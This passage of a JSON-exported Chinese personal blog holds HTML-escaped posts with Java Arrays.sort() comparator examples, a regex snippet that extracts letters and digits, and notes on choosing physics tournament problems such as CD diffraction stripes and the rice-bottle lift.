class=\"line\"\u003e31\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e32\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e33\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e34\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e35\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e36\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e37\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e38\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e39\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e40\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e41\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e42\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e43\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e44\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e45\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e46\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e47\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e48\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e49\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e50\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e51\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e52\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e53\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e54\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e55\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e56\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e57\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e58\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e59\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e60\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e61\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e62\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e63\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e64\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e65\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e66\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e java.util.Arrays;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e java.util.Comparator;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eclass\u003c/span\u003e \u003cspan class=\"title class_\"\u003eAnimal\u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e size;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eclass\u003c/span\u003e \u003cspan class=\"title class_\"\u003eDog\u003c/span\u003e \u003cspan class=\"keyword\"\u003eextends\u003c/span\u003e \u003cspan class=\"title class_\"\u003eAnimal\u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003epublic\u003c/span\u003e \u003cspan class=\"title function_\"\u003eDog\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e s)\u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e size = s;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eclass\u003c/span\u003e \u003cspan class=\"title class_\"\u003eCat\u003c/span\u003e \u003cspan class=\"keyword\"\u003eextends\u003c/span\u003e \u003cspan class=\"title class_\"\u003eAnimal\u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003epublic\u003c/span\u003e \u003cspan class=\"title function_\"\u003eCat\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e s)\u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e size = s;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eclass\u003c/span\u003e \u003cspan class=\"title class_\"\u003eAnimalSizeComparator\u003c/span\u003e \u003cspan class=\"keyword\"\u003eimplements\u003c/span\u003e \u003cspan class=\"title class_\"\u003eComparator\u003c/span\u003e\u0026lt;Animal\u0026gt;{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"meta\"\u003e@Override\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003epublic\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003ecompare\u003c/span\u003e\u003cspan class=\"params\"\u003e(Animal o1, Animal o2)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e o1.size - o2.size;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003epublic\u003c/span\u003e \u003cspan class=\"keyword\"\u003eclass\u003c/span\u003e \u003cspan class=\"title class_\"\u003eArraysSort\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003epublic\u003c/span\u003e \u003cspan class=\"keyword\"\u003estatic\u003c/span\u003e \u003cspan class=\"keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(String[] args)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eDog\u003c/span\u003e \u003cspan class=\"variable\"\u003ed1\u003c/span\u003e \u003cspan class=\"operator\"\u003e=\u003c/span\u003e \u003cspan class=\"keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"title class_\"\u003eDog\u003c/span\u003e(\u003cspan class=\"number\"\u003e2\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eDog\u003c/span\u003e \u003cspan class=\"variable\"\u003ed2\u003c/span\u003e \u003cspan class=\"operator\"\u003e=\u003c/span\u003e \u003cspan class=\"keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"title class_\"\u003eDog\u003c/span\u003e(\u003cspan class=\"number\"\u003e1\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eDog\u003c/span\u003e \u003cspan class=\"variable\"\u003ed3\u003c/span\u003e \u003cspan class=\"operator\"\u003e=\u003c/span\u003e \u003cspan class=\"keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"title class_\"\u003eDog\u003c/span\u003e(\u003cspan class=\"number\"\u003e3\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e Dog[] dogArray = {d1, d2, d3};\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e printDogs(dogArray);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e Arrays.sort(dogArray, \u003cspan class=\"keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"title class_\"\u003eAnimalSizeComparator\u003c/span\u003e());\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e printDogs(dogArray);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e System.out.println();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eCat\u003c/span\u003e \u003cspan class=\"variable\"\u003ec1\u003c/span\u003e \u003cspan class=\"operator\"\u003e=\u003c/span\u003e \u003cspan class=\"keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"title class_\"\u003eCat\u003c/span\u003e(\u003cspan class=\"number\"\u003e2\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eCat\u003c/span\u003e \u003cspan class=\"variable\"\u003ec2\u003c/span\u003e \u003cspan class=\"operator\"\u003e=\u003c/span\u003e \u003cspan class=\"keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"title class_\"\u003eCat\u003c/span\u003e(\u003cspan class=\"number\"\u003e1\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eCat\u003c/span\u003e \u003cspan class=\"variable\"\u003ec3\u003c/span\u003e \u003cspan class=\"operator\"\u003e=\u003c/span\u003e \u003cspan class=\"keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"title class_\"\u003eCat\u003c/span\u003e(\u003cspan class=\"number\"\u003e3\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e Cat[] catArray = {c1, c2, c3};\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e printDogs(catArray);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e Arrays.sort(catArray, \u003cspan class=\"keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"title class_\"\u003eAnimalSizeComparator\u003c/span\u003e());\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e printDogs(catArray);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003epublic\u003c/span\u003e \u003cspan class=\"keyword\"\u003estatic\u003c/span\u003e \u003cspan class=\"keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"title function_\"\u003eprintDogs\u003c/span\u003e\u003cspan class=\"params\"\u003e(Animal[] animals)\u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e(Animal a: animals)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e System.out.print(\u003cspan class=\"string\"\u003e\u0026#34;size=\u0026#34;\u003c/span\u003e+a.size + \u003cspan class=\"string\"\u003e\u0026#34; \u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e System.out.println();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 结果\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e/*\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003esize=2 size=1 size=3 \u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003esize=1 size=2 size=3 \u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003esize=2 size=1 size=3 \u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003esize=1 size=2 size=3 \u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e*/\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"4、sort-T-a-int-formIndex-int-toIndex-Comparator-lt-supre-T-gt-c\"\u003e\u003ca href=\"https://xeonds.github.io/2022/11/22/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Java/Java%20Arrays.sort()%E8%AF%A6%E8%A7%A3/#4%E3%80%81sort-T-a-int-formIndex-int-toIndex-Comparator-lt-supre-T-gt-c\" class=\"headerlink\" title=\"4、sort(T[] a, int formIndex, int toIndex, Comparator\u0026lt;? supre T\u0026gt; c)\"\u003e\u003c/a\u003e4、sort(T[] a, int formIndex, int toIndex, Comparator\u0026lt;? supre T\u0026gt; c)\u003c/h3\u003e\u003cp\u003e根据指定比较器产生的顺序对指定对象数组的指定对象数组进行排序。\u003c/p\u003e\u003cfigure class=\"highlight java\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e java.util.Arrays;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e java.util.Comparator;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003epublic\u003c/span\u003e \u003cspan class=\"keyword\"\u003eclass\u003c/span\u003e \u003cspan class=\"title class_\"\u003eArraysSort\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003epublic\u003c/span\u003e \u003cspan class=\"keyword\"\u003estatic\u003c/span\u003e \u003cspan class=\"keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(String[] args)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e[][] nums=\u003cspan class=\"keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"title class_\"\u003eint\u003c/span\u003e[][]{{\u003cspan class=\"number\"\u003e1\u003c/span\u003e,\u003cspan class=\"number\"\u003e3\u003c/span\u003e},{\u003cspan class=\"number\"\u003e1\u003c/span\u003e,\u003cspan class=\"number\"\u003e2\u003c/span\u003e},{\u003cspan class=\"number\"\u003e4\u003c/span\u003e,\u003cspan class=\"number\"\u003e5\u003c/span\u003e},{\u003cspan class=\"number\"\u003e3\u003c/span\u003e,\u003cspan class=\"number\"\u003e7\u003c/span\u003e}};\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e Arrays.sort(nums,\u003cspan class=\"number\"\u003e2\u003c/span\u003e,\u003cspan class=\"number\"\u003e4\u003c/span\u003e,\u003cspan class=\"keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"title class_\"\u003eComparator\u003c/span\u003e\u0026lt;\u003cspan class=\"type\"\u003eint\u003c/span\u003e[]\u0026gt;(){\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"meta\"\u003e@Override\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003epublic\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003ecompare\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e[] a,\u003cspan class=\"type\"\u003eint\u003c/span\u003e[] b)\u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(a[\u003cspan class=\"number\"\u003e0\u003c/span\u003e]==b[\u003cspan class=\"number\"\u003e0\u003c/span\u003e]){\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e a[\u003cspan class=\"number\"\u003e1\u003c/span\u003e]-b[\u003cspan class=\"number\"\u003e1\u003c/span\u003e];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e a[\u003cspan class=\"number\"\u003e0\u003c/span\u003e]-b[\u003cspan class=\"number\"\u003e0\u003c/span\u003e];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e });\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 结果\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e/*\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e[1, 3]\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e[1, 2]\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e[3, 7]\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e[4, 5]\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e可以看到只对第三行和第四行排序了\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e*/\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2022/11/22/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Java/Java%20Arrays.sort()%E8%AF%A6%E8%A7%A3/"},{"title":"Java 分割出字符串中的字母或数字","time":"2022-11-22T11:04:01Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eString name = \u0026#34;test001\u0026#34;;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eString zm = name.replaceAll(\u0026#34;[^(a-zA-Z)]\u0026#34;,\u0026#34;\u0026#34; );  // 取出字母\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eString number = name.replaceAll(\u0026#34;[^(0-9)]\u0026#34;, \u0026#34;\u0026#34;)   // 取出数字\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2022/11/22/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Java/Java%20%E5%88%86%E5%89%B2%E5%87%BA%E5%AD%97%E7%AC%A6%E4%B8%B2%E4%B8%AD%E7%9A%84%E5%AD%97%E6%AF%8D%E6%88%96%E6%95%B0%E5%AD%97/"},{"title":"物理学术竞赛:选题讨论","time":"2022-11-19T10:34:23Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch2 id=\"选题结果\"\u003e\u003ca href=\"https://xeonds.github.io/2022/11/19/%E7%89%A9%E7%90%86/%E7%89%A9%E7%90%86%E5%AD%A6%E6%9C%AF%E7%AB%9E%E8%B5%9B%EF%BC%9A%E9%80%89%E9%A2%98%E8%AE%A8%E8%AE%BA/#%E9%80%89%E9%A2%98%E7%BB%93%E6%9E%9C\" class=\"headerlink\" title=\"选题结果\"\u003e\u003c/a\u003e选题结果\u003c/h2\u003e\u003cp\u003e一眼看过去就\u003cdel\u003e能水\u003c/del\u003e直接有思路的有这么几个:\u003c/p\u003e\u003ch3 id=\"光盘绿条纹\"\u003e\u003ca href=\"https://xeonds.github.io/2022/11/19/%E7%89%A9%E7%90%86/%E7%89%A9%E7%90%86%E5%AD%A6%E6%9C%AF%E7%AB%9E%E8%B5%9B%EF%BC%9A%E9%80%89%E9%A2%98%E8%AE%A8%E8%AE%BA/#%E5%85%89%E7%9B%98%E7%BB%BF%E6%9D%A1%E7%BA%B9\" class=\"headerlink\" title=\"光盘绿条纹\"\u003e\u003c/a\u003e光盘绿条纹\u003c/h3\u003e\u003cp\u003e绿是因为光栅衍射,条纹是因为……光沿直线传播,以及光盘的光学、材料特征?\u003c/p\u003e\u003cp\u003e或者谷歌解决了也行。感觉这东西谷歌应该有不少资料。\u003c/p\u003e\u003ch3 id=\"螺钉下滑\"\u003e\u003ca href=\"https://xeonds.github.io/2022/11/19/%E7%89%A9%E7%90%86/%E7%89%A9%E7%90%86%E5%AD%A6%E6%9C%AF%E7%AB%9E%E8%B5%9B%EF%BC%9A%E9%80%89%E9%A2%98%E8%AE%A8%E8%AE%BA/#%E8%9E%BA%E9%92%89%E4%B8%8B%E6%BB%91\" class=\"headerlink\" title=\"螺钉下滑\"\u003e\u003c/a\u003e螺钉下滑\u003c/h3\u003e\u003cp\u003e一旦螺钉摆动到某一点时,摩擦力不足以提供圆周运动的向心力,它就会沿斜面向下滑动——将重力势能转化为动能,而这会使得其速度越来越大。因此,越过临界点之后,他就会无休止地开始下滑,并逐渐加速。\u003c/p\u003e\u003cp\u003e对于它的分析,由于钉子比较小,因此只在单摆运动时考虑其转动惯量,下滑时由于是平动,因此整体受力分析+牛二即可。在它尚未下滑之前,给它初摆角后,需结合向心运动加速度公式分析它是否会滑下斜面。\u003c/p\u003e\u003ch3 id=\"提米米瓶实验\"\u003e\u003ca href=\"https://xeonds.github.io/2022/11/19/%E7%89%A9%E7%90%86/%E7%89%A9%E7%90%86%E5%AD%A6%E6%9C%AF%E7%AB%9E%E8%B5%9B%EF%BC%9A%E9%80%89%E9%A2%98%E8%AE%A8%E8%AE%BA/#%E6%8F%90%E7%B1%B3%E7%B1%B3%E7%93%B6%E5%AE%9E%E9%AA%8C\" class=\"headerlink\" title=\"提米米瓶实验\"\u003e\u003c/a\u003e\u003cdel\u003e提米\u003c/del\u003e米瓶实验\u003c/h3\u003e\u003cp\u003e其实就是摩擦力,以及力学传导的问题。将筷子/勺子插入米瓶中,再向上提,会连着瓶子一块提起来。此过程中:筷子受到米的挤压力和向下的摩擦力,米对瓶子各向均有力的作用,但瓶子受到米的合力向上。\u003c/p\u003e\u003cp\u003e可以先从整体法分析,瓶子受到米向上的合力,这部分分量由瓶壁与米的摩擦力和瓶顶受到米向上的支持力提供;对于筷子而言,筷子受到米竖直向下的摩擦力。\u003c/p\u003e\u003cp\u003e如果仅仅是描述现象的话那应该相对比较容易。定量计算的话感觉还是有些麻烦的。\u003c/p\u003e\u003ch3 id=\"微粒上浮\"\u003e\u003ca href=\"https://xeonds.github.io/2022/11/19/%E7%89%A9%E7%90%86/%E7%89%A9%E7%90%86%E5%AD%A6%E6%9C%AF%E7%AB%9E%E8%B5%9B%EF%BC%9A%E9%80%89%E9%A2%98%E8%AE%A8%E8%AE%BA/#%E5%BE%AE%E7%B2%92%E4%B8%8A%E6%B5%AE\" class=\"headerlink\" 